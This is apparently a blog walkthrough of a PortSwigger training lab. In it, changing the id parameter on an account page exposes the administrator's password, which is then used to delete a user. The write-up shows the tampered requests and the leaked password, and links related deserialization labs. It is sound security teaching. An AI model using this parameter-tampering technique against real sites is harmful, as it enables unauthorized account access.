On this page
apsyleg1 min read
#portswigger #access-control #web-security
User ID Controlled by Request Parameter with Password Disclosure
Lab
User ID controlled by request parameter with password disclosure · Apprentice
Solution
Given
This lab has user account page that contains the current user's existing password, prefilled in a masked input.
To solve the lab, retrieve the administrator's password, then use it to delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter
Analyzing the task
The site has a page that displays the user's password. We need to find the administrator and get their password. Then delete user carlos.
Recon
Log in to the site:
GET /my-account?id=wiener
Yes, the password is in the response.
For the administrator:
GET /my-account?id=administrator
<input required type=password name=password value='5b8q4c801sij55bvvtfx'/>
Log in as administrator / 5b8q4c801sij55bvvtfx. Delete the user. Lab solved.
More in this category
Arbitrary Object Injection in PHP (PortSwigger Lab)
Recovering leaked source code and injecting a serialized CustomTemplate object whose __destruct deletes an arbitrary file.
Using Application Functionality to Exploit Insecure Deserialization (PortSwigger Lab)
Tampering with the `avatar_link` field in the session object to delete an arbitrary file via the account-delete feature.
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.